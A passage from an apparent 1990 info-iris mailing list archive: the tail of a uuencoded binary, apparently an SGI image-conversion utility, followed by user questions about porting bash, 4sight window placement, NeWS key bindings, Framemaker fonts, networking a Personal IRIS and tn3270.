M`!B/N0`H`````#,H``$1```'C[\`%(^I`!B/I``]`!@#X``(`````````````````````">]_]BOI0`LKZ8`,*^D`"BOOP`D MCZX`.(^O`#R/N`!``.`8(:^C`!"/IP`PCZ4`*(^F`"ROK@`4KZ\`&```("$, M$`HJK[@`'(^_`"0GO0`H`^``"``````GO?_8KZ8`,*^E`"ROOP`DCZX`.(^O M`#R/N`!``.`8(:^C`!"/IP`PCZ8`+*^N`!2OKP`8```H(0P0"BJON``]`"@#X``(`````">]_]"OOP`[_ M`!7!`)P`````EA@`")89``H``````QD`&0``$!(``A"``$`@(0_@!(*OH@`D MK@(`D(^D`"0/X`2"`````(X(`)"N`@"4$0``!0````"."0"4`````!4@``F/ MJ@`D/`00`#P%$``DI0(@#^`$5"2$!K`,$!.`)`0``8^J`"0D`0!W``I80"5L M`@"N#`",CZT`.`````"1KP```````!7A`$*/I``PE@X`")88``H``"@A`=@` M&0``,!(8P`!N`````###``,48``$``40@!````\D!/__``40@"0$__^.&0"0 M)*4``0,B0"&M````C@D`E``````!(E`AK40``!1E__"&MY```C@X`D``` M```!PL`AKP``!(X9`)0``````R)`(:T$``2."0"0``````$B4"&M0``(C@L` ME``````!8F`AK80`"(X-`)```````:)X(:W@``R.#@"4``````'"P"$D0@`0 M%$/_WZ\$``P0```VI@``>H^D`#`D!0(`#!`3M```,"&/I``PC@4`D(^F`"0, M$!.L`````(^Y`"0`````$%D`"``````\!!``/`40`"2E`D`/X`14)(0&L`P0 M$X`D!``!A@@`<@`````1```&CZ0`,(X$`)"/I0`D#!`+X0````"/I``PC@4` ME(^F`"0,$!.L`````(^I`"0`````$$D`"``````\!!``/`40`"2E`F0/X`14 M)(0&L`P0$X`D!``!A@H`<@`````10``%`````(X$`)2/I0`D#!`+X0````"F M``!ZK@``?*X``(`,$`NZ`@`@(8^D`#"N`@"$I@``=*8``'8D"P(`I@``>*X+ M`(@D!0(````P(0P0$[2N!`!L`@`0(8^_`!R/L``8`^``"">]`#`GO?_@K[\` M%`"`&"&48@`&```````"<8(`3B`A#^`$@@`$((`40``(KZ(`'#P$$``\!1`` M)*4"B`_@!%0DA`:P#!`3@"0$``&/OP`4CZ(`'`/@``@GO0`@``400P"`,"$8 M0``,```8(93$```D8P`!``,<```#'`,`!'("``1Z``'/P"4`8@@JI-@``!0@ M__8DQ@`"`^``"```````!1"#`(`P(1A``!0``!@A/`<`_P`#<(``SB@AC*0` M`"1C``$`!,(",QG_```$?@(`!$H``2=0)`'Y0"4``QP``0I8)0`#'`,`!&8` M`6QH)0!B""H4(/_OK*T```/@``@`````)[W_Z*^D`!BOOP`4CZ0`&`P0"]`D M!0`,CZ0`&"0%``P,$`OA)(0`#(^D`!@D!0`$#!`+X22$`&B/OP`4)[T`&`/@ M``@`````)[W_X*^_`!2OI0`DKZ8`*`P0"@`GA8`X%$``#`!`&"$\!!``/`40 M`"2E`JPDA`:P#^`$5*^C`!R/HP`<#!`3@"0$``&/HP`<`````)1N``:/KP`D M`````*WN``"/N0`HE'@`"`````"O.```C[\`%">]`"`#X``(```````````G MO?_8K[``&`"`@"&OOP`<#!`,D`(`("$"`"`A#!`/*P``*"&6#@!P`````#'/ M``(1X``W`````(88`'(`````$P``!`(`("$,$`OZ`@`@(0(`("$"`"@A#!`. M[R0&`)B&&0!R`````!,@``,`````#!`+^@(`("&6"``")`$!`#$)_P`5(0`B M``````(`("$,$`\K)`4"`)8*``B6"P`*``````%+`!D``&`2``QH@*^M`"2& M#@!R`````!'```0`````C@0`D`P0"^$!H"@AC@4`D(^F`"0,$`[O`@`@(88/ M`'(`````$>``!0````".!`"4CZ4`)`P0"^$`````C@4`E(^F`"0,$`[O`@`@ M(8X$`(``````$(```P`````/X`2``````(X$`(0`````$(```P`````/X`2` M`````)88``(D`0$`,QG_`!``!`````"/I0`H#!`+T`%`("&6`@`&$```H8^_`"0\!!``/`40`"2E`N`/ MX`14)(0&L`P0$X`D!``!$```F(^_`"0D`0$`%$$`C0`````0``"$,&(`_Y8# M``:."``,`&`@(8X)`!``@!`A`4`H(1!```\DA/__E*(````````!(@@K$"`` M`P!(""L`0$@A`$@(*Q`@``(``````$!`(0"`$"$DI0`"%$#_\R2$__^.!@"$ MK@@`#*X)`!"OK`!(KZL`3*^C`!`!0"`A)`4``@P0#Y`D!P`!CZL`3(^L`$BO MH@`H`@`@(0!`*"$!8#@A#!`/9@&`,"&/JP!,CZP`2`(`("$!8#`A#!`.C`&` M*"&.!0"$CZ8`*`P0#N\"`"`AE@(`!A```%Z/OP`DE@,`!HX(``P`8"`AC@D` M$`"`$"$!0"@A$$``#R2$__^4H@````````$B""L0(``#`$@(*P!`2"$`2`@K M$"```@``````0$`A`(`0(22E``(40/_S)(3__XX&`(2N"``,K@D`$*^L`$BO MJP!,KZ,`$`%`("$D!0`"#!`/D"0'``*/JP!,CZP`2``"*$"OI0`H`@`@(0%@ M."$,$`]F`8`P(8^K`$R/K`!(`@`@(0%@,"$,$`Z,`8`H(888`'(`````$P`` M!0````".!`"$CZ4`*`P0"]``````C@4`A(^F`"@,$`[O`@`@(889`'(````` M$R``!0````".!`"$CZ4`*`P0"]``````E@(`!A```!F/OP`D/`00`#P%$``D MI0+T#^`$5"2$!K`,$!.`)`0``1```!"/OP`D)`$``1!!_WLD`0`"$$'_K@`` M```0`/_Q`````#P$$``\!1``)*4#"`_@!%0DA`:P#!`3@"0$``&/OP`DC[`` M(`/@``@GO0!`)[W_T*^P`!@`@(`AK[\`'*^E`#26#@!P`,`8(3'/`($5X``# M`````!```)`````!```"\`````C@4`A)8&``8,$`\-`@`@ M(98&``:.`P"$``84```"%`,`0"@A)$+__X^D`#0``A0`$*``#``"%`,`0"@A MD'@``"1"__\``A0```(4`R1C``$DA``"%*#_^*28__Z6!@`&`````!```&$` MP!`AE@,`!H^E`#0``QA```,<```#'`,`8#`AIZ,`(`P0#PT"`"`AAAD`C M`"`3(``$`````(^D`#0,$`O0`&`H(98"``80``!/C[\`'#P$$``\!1``)*4# M)`_@!%0DA`:P#!`3@"0$``$0``!&C[\`'"0!`0`400`[`````!```#(P90#_ M#!`/2`(`("&.!0"$``(T```&-`,,$`\-`@`@(8X$`(2/I@`T)`4``0P0$=TD M!P`"E@(`!A```#*/OP`<#!`/2`(`("$``AP```,<`XX%`(0``C0```8T`Z>C M`"`,$`\-`@`@(88(`'*'HP`@$0``!`````".!`"$#!`+T`!@*"&.!`"$CZ8` M-"0%``(,$!'=)`<``I8"``80```9C[\`'#P$$``\!1``)*4#.`_@!%0DA`:P M#!`3@"0$``$0```0C[\`'"0!``$0H?_-)`$``A"A_]H`````$`#_\0`````\ M!!``/`40`"2E`TP/X`14)(0&L`P0$X`D!``!C[\`'(^P`!@#X``()[T`,">] M_^BOOP`4`(`8(21D`!@/X`3()`8`4(^_`!0GO0`8`^``"``````#X``(K(4` M:">]_^BOOP`4`*`X(:^G`!ROI``8`.`H(0P0#LVOI@`@CZ0`&(^F`""/IP`< ME(,``J2``'0P8O\`I(8`>!1``!>DAP!VE((`!I2/``@`P@`9,&D`_P``"&-Y0``#!`/*P`````0```)C[\`%#P$$``\!1`` M)*4#<`_@!%0DA`:P#!`3@"0$``&/OP`4)[T`&`/@``@`````)[W_Z*^_`!0` M@!@AE&X`"`"@0"$!#@@K$"``!@#`."&4;P`*``````#O""L4(``3C[\`%#P$ M$``\!1``)*4#C"2$!K`!`#`A#^`$5*^C`!B/HP`8/`00`#P%$`"49@`(E&<` M"B2E`[,/X`14)(0&L`P0$X`D!``!C[\`%">]`!@#X``(`````">]_^"OI``@ MCZX`(*^F`"BOOP`4CZ8`*(W$`&P,$!.D`````(^O`"BOH@`<$$\`"8^C`"`\ M!!``/`40`"2E`\8/X`14)(0&L`P0$X`D!``!CZ,`((^Y`"B,>`"(``````,9 M0"&L:`"(C[\`%(^B`!P#X``()[T`(">]_^"OI``@CZX`(*^F`"BOOP`4CZ8` M*(W$`&P,$!.L`````(^O`"BOH@`<$$\`"8^C`"`\!!``/`40`"2E`]\/X`14 M)(0&L`P0$X`D!``!CZ,`((^Y`"B,>`"(``````,90"&L:`"(C[\`%(^B`!P# MX``()[T`(">]_^BOOP`4`(`8(8QN`(@`````$*X`$H^_`!2L90"(C&0`;*^E M`!P,$!.T```P(01!``F/I0`]`!@#X``(`*`0(0``````````)[W_X*^_`!24CP`( MA(X`>(2'`'8!SP`9C(D`E```P!(`^,@A`!E`@`$H4"&-1@````````3!``V/ MOP`4/`00`#P%$``DI000)(0&L`_@!%2OI@`P$@*"$`X"`A).<``@#H""L0(``7`````)#B__^0[__^ M`````!1/``4`````D/@````````3`@`.`````"3G``$`Z`@K$"``"@````"0 MXO__D/G__@`````46?_X`````)#J````````%4+_]``````DY__^`.00(Q!` M`#8`0#`A*,$`?Q0@``0`!AP`$````R0#`'X`!AP```,<`S1K`(`H80`)H*L` M``##,",4(``9)*4``9",```D8__XH*P``)"-``$``QP`H*T``9".``(``QP# MH*X``I"/``,H80`)H*\``Y"8``0DI0`(H+C__)"9``4DA``(H+G__9"*__X` M````H*K__I"+__\0(/_IH*O__P!@$"$D8___``,<`!!```H``QP#`&`0(9", M```D8___``,<```#'`,DA``!)*4``11`__B@K/__%,#_S2C!`'\`X"`A).<` M`0#H""N0X___$"``#@#D$".0[0```&`0(11-``D`````).<``0#H""L0(``% M`````)#N````````$$[_^0``````Y!`C$$``#P!`,"$`8!`A*,$`?Q0@``0` M!AP`$````R0#`'X`!AP```,<`P##,".@HP``)*4``22E``$4P/_TH*+__P#H M""L4(/^(`.`@(22E``&@H/__$``!O@"I$",08@`$)`4``A```(PD!0`")`4` M`A3E`(D`````CZ\`*`"`."$`CT`A`(@(*Q`@`'L!("@A`.`@(23G``(`Z`@K M$"``%P````"0XO__D/C__@`````46``%`````)#Y````````$R(`#@`````D MYP`!`.@(*Q`@``H`````D.+__Y#J__X`````%$K_^`````"0ZP```````!5B M__0`````).?__@#D$",00``V`$`P(2C!`'\4(``$``8<`!````,D`P!^``8< M```#'`,T;`"`*&$`":2L````PS`C%"``&22E``*0C0``)&/_^*2M``"0C@`! M``,<`*2N``*0CP`"``,<`Z2O``20F``#*&$`":2X``:0F0`$)*4`$*2Y__B0 MB@`%)(0`"*2J__J0B__^`````*2K__R0C/__$"#_Z:2L__X`8!`A)&/__P`# M'``00``*``,<`P!@$"&0C0``)&/__P`#'````QP#)(0``22E``(40/_XI*W_ M_A3`_\THP0!_`.`@(23G``$`Z`@KD./__Q`@``X`Y!`CD.X```!@$"$43@`) M`````"3G``$`Z`@K$"``!0````"0[P```````!!/__D``````.00(Q!```\` M0#`A`&`0(2C!`'\4(``$``8<`!````,D`P!^``8<```#'`,`PS`CI*,``"2E M``(DI0`"%,#_]*2B__X`Z`@K%"#_B`#@("$DI0`"`*D0(P1!``(`0`@A)"$` M`0`!$$,0``$OI*#__A1E`)``````%.(`C@````"/N``H`(`X(0`8R$``F4`A M`(@(*Q`@`(,!("@A`.`@(23G``0`Z`@K$"``%P````"4XO_^E.K__``````4 M2@`%`````)3K````````$6(`#@`````DYP`"`.@(*Q`@``H`````E.+__I3L M__P`````%$S_^`````"4[0```````!6B__0`````).?__`#D$",$00`"`$`( M(20A``$``1!#$$``-@!`,"$HP0!_%"``!``&'``0```#)`,`?@`&'````QP# M-&X`@"AA``F@K@```,,P(Q0@`!DDI0`!E(\``"1C__B@KP``E)@``@`#'`"@ MN``!E)D`!``#'`.@N0`"E(H`!BAA``F@J@`#E(L`""2E``B@J__\E(P`"B2$ M`!"@K/_]E(W__`````"@K?_^E([__A`@_^F@KO__`&`0(21C__\``QP`$$`` M"@`#'`,`8!`AE(\``"1C__\``QP```,<`R2$``(DI0`!%$#_^*"O__\4P/_- M*,$`?P#@("$DYP`"`.@(*X3C__X0(``.`.00(Y3X````8!`A%%@`"0`````D MYP`"`.@(*Q`@``4`````E/D````````06?_Y``````#D$",$00`"`$`((20A M``$``1!#$$``#P!`,"$`8!`A*,$`?Q0@``0`!AP`$````R0#`'X`!AP```,< M`P##,".@HP``)*4``22E``$4P/_TH*+__P#H""L4(/^``.`@(22E``&@H/__ M$```G@"I$",490"4`````!3E`)(`````CZH`*`"`."$`"EA``(M`(0"(""L0 M(`"#`2`H(0#@("$DYP`$`.@(*Q`@`!<`````E.+__I3L__P`````%$P`!0`` M``"4[0```````!&B``X`````).<``@#H""L0(``*`````)3B__Z4[O_\```` M`!1.__@`````E.\````````5XO_T`````"3G__P`Y!`C!$$``@!`""$D(0`! M``$00Q!``#8`0#`A*,$`?Q0@``0`!AP`$````R0#`'X`!AP```,<`S1X`(`H M80`)I+@```##,",4(``9)*4``I29```D8__XI+D``)2*``(``QP`I*H``I2+ M``0``QP#I*L`!)2,``8H80`)I*P`!I2-``@DI0`0I*W_^)2.``HDA``0I*[_ M^I2/__P`````I*___)28__X0(/_II+C__@!@$"$D8___``,<`!!```H``QP# M`&`0(929```D8___``,<```#'`,DA``")*4``A1`__BDN?_^%,#_S2C!`'\` MX"`A).<``@#H""N$X__^$"``#@#D$".4Z@```&`0(11*``D`````).<``@#H M""L0(``%`````)3K````````$$O_^0``````Y!`C!$$``@!`""$D(0`!``$0 M0Q!```\`0#`A`&`0(2C!`'\4(``$``8<`!````,D`P!^``8<```#'`,`PS`C MI*,``"2E``(DI0`"%,#_]*2B__X`Z`@K%"#_@`#@("$DI0`"`*D0(P1!``(` M0`@A)"$``0`!$$,0```)I*#__CP$$``\!1``)*4$+R2$!K`/X`14`&`P(0P0 M$X`D!``!C[\`%">]`!@#X``(`````">]_^@`H!@A)`(``:^_`!0`@$`A%&(` M4P#`2"$4X@!1``````$`,"$!(!`AD,0``"3&``$P@P!_,&?__Q#@`5`P9?__ M,(X`@!'``"DLX0`(%"``&@"@&"&0SP``)*7_^*!/``"0V``!,*7__Z!8``&0 MV0`"+*$`"*!9``*0R@`#)$(`"*!*__N0RP`$),8`"*!+__R0S/_]`````*!, M__V0S?_^`````*!-__Z0SO__$"#_Z:!.__\`H!@A)*7__Q!@_]HPI?__D,\` M``"@&"$DI?__,*7__R3&``$D0@`!%&#_^:!/__\0`/_1D,0``)#$```LH0`( M%"``#B3&``&@1```H$0``:!$``(DI?_XH$0``S"E__^@1``$+*$`"*!$``6@ M1``&H$0`!Q`@__0D0@`(`*`8(22E__\08/^[,*7__P"@&"$DI?__,*7__Z!$ M```48/_[)$(``1``_[20Q```$&(`!"0$``(0``!4)`0``B0$``(4Y`!1```` M``$`,"$!(!`AD,0``"3&``$P@P!_,&?__Q#@`/DP9?__,)@`@!,``"DLX0`( M%"``&@"@&"&0V0``)*7_^*19``"0R@`!,*7__Z1*``*0RP`"+*$`"*1+``20 MS``#)$(`$*1,__:0S0`$),8`"*1-__B0SO_]`````*1.__J0S__^`````*1/ M__R0V/__$"#_Z:18__X`H!@A)*7__Q!@_]HPI?__D-D```"@&"$DI?__,*7_ M_R3&``$D0@`"%&#_^:19__X0`/_1D,0``)#$```LH0`(%"``#B3&``&D1``` MI$0``J1$``0DI?_XI$0`!C"E__^D1``(+*$`"*1$``JD1``,I$0`#A`@__0D M0@`0`*`8(22E__\08/^[,*7__P"@&"$DI?__,*7__Z1$```48/_[)$(``A`` M_[20Q```%&0`4P`````4X@!1``````$`,"$!(!`AE,0``"3&``(P@P!_,&?_ M_Q#@`*4P9?__,(H`@!%``"DLX0`(%"``&@"@&"&4RP``)*7_^*!+``"4S``" M,*7__Z!,``&4S0`$+*$`"*!-``*4S@`&)$(`"*!.__N4SP`(),8`$*!/__R4 MV/_Z`````*!8__V4V?_\`````*!9__Z4RO_^$"#_Z:!*__\`H!@A)*7__Q!@ M_]HPI?__E,L```"@&"$DI?__,*7__R3&``(D0@`!%&#_^:!+__\0`/_1E,0` M`)3$```LH0`(%"``#B3&``*@1```H$0``:!$``(DI?_XH$0``S"E__^@1``$ M+*$`"*!$``6@1``&H$0`!Q`@__0D0@`(`*`8(22E__\08/^[,*7__P"@&"$D MI?__,*7__Z!$```48/_[)$(``1``_[24Q```%&0`4P`````4Y`!1``````$` M,"$!(!`AE,0``"3&``(P@P!_,&?__Q#@`%$P9?__,(P`@!&``"DLX0`(%"`` M&@"@&"&4S0``)*7_^*1-``"4S@`",*7__Z1.``*4SP`$+*$`"*1/``24V``& M)$(`$*18__:4V0`(),8`$*19__B4RO_Z`````*1*__J4R__\`````*1+__R4 MS/_^$"#_Z:1,__X`H!@A)*7__Q!@_]HPI?__E,T```"@&"$DI?__,*7__R3& M``(D0@`"%&#_^:1-__X0`/_1E,0``)3$```LH0`(%"``#B3&``*D1```I$0` M`J1$``0DI?_XI$0`!C"E__^D1``(+*$`"*1$``JD1``,I$0`#A`@__0D0@`0 M`*`8(22E__\08/^[,*7__P"@&"$DI?__,*7__Z1$```48/_[)$(``A``_[24 MQ```/`00`#P%$``DI01,)(0&L`_@!%0`8#`A#!`3@"0$``&/OP`4)[T`&`/@ M``@`````````````````````)[W]6`"`&"$D#O__KZX`'!1@`!&OOP`4/`00 M``_@!&PDA`9T$$``!0!`&"&03P```````!7@``@`````DYB`0``````3```# M`````!```",``!`A)X.`1#P%$``DI0:`HX"`0">D`B@/X`2\KZ,"J(^C`J@G MI`(V#^`$O`!@*"$GI`(H#!`3G```*"$$0``1`$`@(2>E`"8D!@("#!`3K*^D M`"`D`0("%$$`"(^D`"`\!!``)(0$<">E`"8/X`2,)`8"`J^@`!R/I``@#!`3 ME`````"/H@`<`````(^_`!0GO0*H`^``"```````````)[W_Z*^_`!0/X`0^ MKZ0`&(^D`!@,$!.\`````(^_`!0GO0`8`^``"```````````)`(#\`````P0 MX``#``````@0$\```````^``"``````D`@/N````#!#@``,`````"!`3P``` M```#X``(```0(20"`^T````,$.```P`````($!/```````/@``@`````)`(# M[`````P0X``#``````@0$\```````^``"``````D`@/K````#!#@``,````` M"!`3P``````#X``(`````"0"`_L````,$.```P`````($!/```````/@``@` M````)`(#Z0````P#X``(`````#P!$`"L(@[L`^``""0"__\\`Q``C&,.="0" M`_D`@R`A````#!3@``4`````/`$0`*PD#G0#X``(`&`0(0@0$\``````/`(0 M`(Q"#G```````(((*Q`@``(``````$`@(20"`_D````,%.#_]``````\`1`` MK"0.=`/@``@``!`A`````````````````````#P"$`$D0D[P/`$/P*PB`$`\ M`A`!)$)N^#P!#\"L(@!$/`(0`B1"CP`\`0_`K"(`2#P"$``D0@:0/`$/P*PB M`$P\`A``)$(.P#P!#\"L(@!0/`(0`"1"#-`\`0_`K"(`5#P"#X`D0A((/`$/ MP*PB`"`\`@^`)$(2$#P!#\"L(@`D/`(/@"1"$@`\`0_`K"(`*#P"`$`D0D\0 M/`$/P*PB`!0\`@!`)$)/1#P!#\"L(@`8/`(0`"1"#N`\`0_`K"(`$#P"$``D M0@[L/`$/P*PB`!P\`A``)$($<#P!#\"L(@```^``"``````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M````````=7-A9V4@9G)O;71AF4@)60*````=&]T87)G M83H@8V%N)W0@;W!E;B!I;G!U="!F:6QE("5S"@``;G5M:60@)60*````;6%P M='EP92`E9`H`:6UG='EP("5D"@``;6%P;W)I9R`E9"!M87!S:7IE("5D(`H` M;6%P8FET&]R:6<@>6]R:6<@)60@)60*``!X'-I>F4@)60*`&EM9V1E`H``&EO<&5N.B!E7!E"@!I;6=L:6(Z(')O=R!N=6UB97(@;W5T(&]F(')A;F=E M("5D("5D"@!I;6%G92!R86YG92`E9"`E9`H`:6UG7W=R:71E.B!W'R`A(B,D)28G M*"DJ*RPM+B\P,3(S-#4V-S@Y.CL\/3X_0&%B8V1E9F=H:6IK;&UN;W!Q'EZ6UQ=7E]@04)#1$5&1TA)2DM,34Y/4%%24U155E=865I[?'U^?P`` M```````````````````````````````````````````````````````````` M```````````````````````````````````````````````````````````` M``````````````````````````````````````````````````!#2%)#3$%3 M4P`````O;&EB+V-H Organization: University of Colorado, Boulder Subject: bash (Bourne Again SHell) Message-Id: <19489@boulder.Colorado.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anyone have the diffs for BASH 1.05 (or know a reliable place to get them)? I have it "kind-of" running. It executes the first given command fine but on the second command it seems to freeze up on sigpause(SIGCHLD) in wait_for() in jobs.c just after executing it. Any help is greatly appreciated! Paul Connally paulc@boulder.colorado.edu University of Colorado High Voltage Electron Microscope Lab MCDB - Box 347 "A higher potential for Boulder, CO 80309 better penetration."   Received: from vmb.brl.mil by VMB.BRL.MIL id aa23989; 10 Apr 90 7:15 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa23410; 10 Apr 90 6:23 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa23396; 10 Apr 90 6:14 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa22050; 10 Apr 90 6:02 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA16018; Tue, 10 Apr 90 02:48:19 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 00:17:54 GMT From: "James P. Loan" Organization: Computer Science Department, Stanford University Subject: Starting a 4sight window iconified Message-Id: <1990Apr10.001754.27013@Neon.Stanford.EDU> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL A week or two ago I posted two questions about making 4sight windows. The first one was about specifying a default size for a window but then allowing the user to resize it after opening it. The answer is to call prefposition (or preforigin), then winopen, then winconstraints. The last routine "resets the window constraints to their default values, if any." And I might add that if a window constraint has no default value (like position and origin), it resets it to none. I can't believe that I didn't try this at least once when trying to solve the problem myself. The second one concerns starting a window iconified. I have an application that opens many windows, and I want some of them to start iconified, and others (with different names) to start uniconified. Someone pointed me to the files in /usr/NeWS/lib/NeWS, and that got me part of the way. I found out that the command "wsh -p100,100 -Z7" will start a wsh iconified, and when it is unstowed, it will have an origin at 100,100. This is exactly what I want to do, except from within my program, not on the command line. I have a bad feeling that wsh is a NeWS application and would do it differently than my gl application could. Can anyone get me further along that this? I know nothing about NeWS, so please use small words and speak slowly. thanks, pete loan loan@neon.stanford.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa18876; 11 Apr 90 11:37 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab17617; 11 Apr 90 10:55 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa17180; 11 Apr 90 10:38 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa05186; 11 Apr 90 10:31 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA01880; Wed, 11 Apr 90 07:22:13 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 9 Apr 90 22:18:00 GMT From: Jim Riordan Organization: University of Massachusetts at Amherst Subject: changing key bindings Message-Id: <12704@dime.cs.umass.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Does anybody know how to rebind the keys on an SGI 4D240 running NeWS so that the key acts as ? Please reply by email. thanks in advance, James Riordan james@smectos.gang.umass.edu   Received: from vmb.brl.mil by VMB.BRL.MIL id aa01514; 10 Apr 90 12:30 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa00789; 10 Apr 90 11:27 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa00746; 10 Apr 90 11:13 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa29365; 10 Apr 90 11:00 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA02838; Tue, 10 Apr 90 07:50:21 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 13:17:36 GMT From: "Robert R. Shank" Subject: Serving Framemaker on 4D-20 Message-Id: <468@cerc.wvu.wvnet.edu.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL Has anyone used a 4D-20 as a X server for Framemaker? It will run, but some of the necessary fonts seem to be missing and existing text is displayed only when I type something. I'd appreciate any pointers. -- Robert R. Shank Drawer 2000 Concurrent Engineering Research Center West Virginia University   Received: from vmb.brl.mil by VMB.BRL.MIL id aa03630; 10 Apr 90 14:42 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03399; 10 Apr 90 14:31 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa03243; 10 Apr 90 14:18 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa06890; 10 Apr 90 14:03 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA15310; Tue, 10 Apr 90 10:58:45 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 15:37:31 GMT From: tim anderson Organization: PolarServ, Seattle WA Subject: Personal IRIS Neophyte asks dumb questions... Message-Id: <1520@polari.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL I just begged and pleaded with my company, and they are sending me the Personal IRIS that has been collecting dust at the home office. I have a few questions, though... First, I really really want to network my PC to this thing. What do I have to do to get this working? I know step one is to get a WD8003 ethernet card, but beyond that I am a bit lost... Second, I am a 'software developer' or at least my company is, and this system will be used to port our existing application. I am interested in getting the infamous $100 tape of SGI demos - and I will DIE if I can't get a copy of 'flight simulator'... Third, I want a NON BRAIN DEAD EDITOR, I use BRIEF religiously on my PC and will SORELY miss using it. I really do not want to get very good at 'vi'... Finally, is there an SGI office in Seattle that I could contact for some hand holding while I get my feet off of the ground? Of course the networking stuff has to be AS CHEAP AS POSSIBLE because I work for a CHEAP company, and most of the cost of this stuff will come out of MY pocket. It took me 10 months to finally get this computer, so I can't push my luck too far. ADthanksVANCE tima@polari uw-beaver!sumax!polari!tima place really awesome .sig here   Received: from vmb.brl.mil by VMB.BRL.MIL id aa04236; 10 Apr 90 15:10 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab02224; 10 Apr 90 13:34 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa02156; 10 Apr 90 13:17 EDT Received: from REMOTE.DCCS.UPENN.EDU by SMOKE.BRL.MIL id aa04933; 10 Apr 90 13:13 EDT Return-Path: Received: from A.CHEM.UPENN.EDU by remote.dccs.upenn.edu id AA00583; Tue, 10 Apr 90 13:13:43 -0400 Message-Id: <9004101713.AA00583@remote.dccs.upenn.edu> Date: Tue, 10 Apr 90 13:14 EST From: "YATES, JOHN H." Subject: tn3270 on SGI To: info-iris@BRL.MIL X-Vms-To: INFIRIS Has tn3270 (for talking to IBM mainframes) been successfully ported to SGI? A few months back a user here gave up because of compiler incompatibilities or the like. If so, where can I get it ? Thanks, John 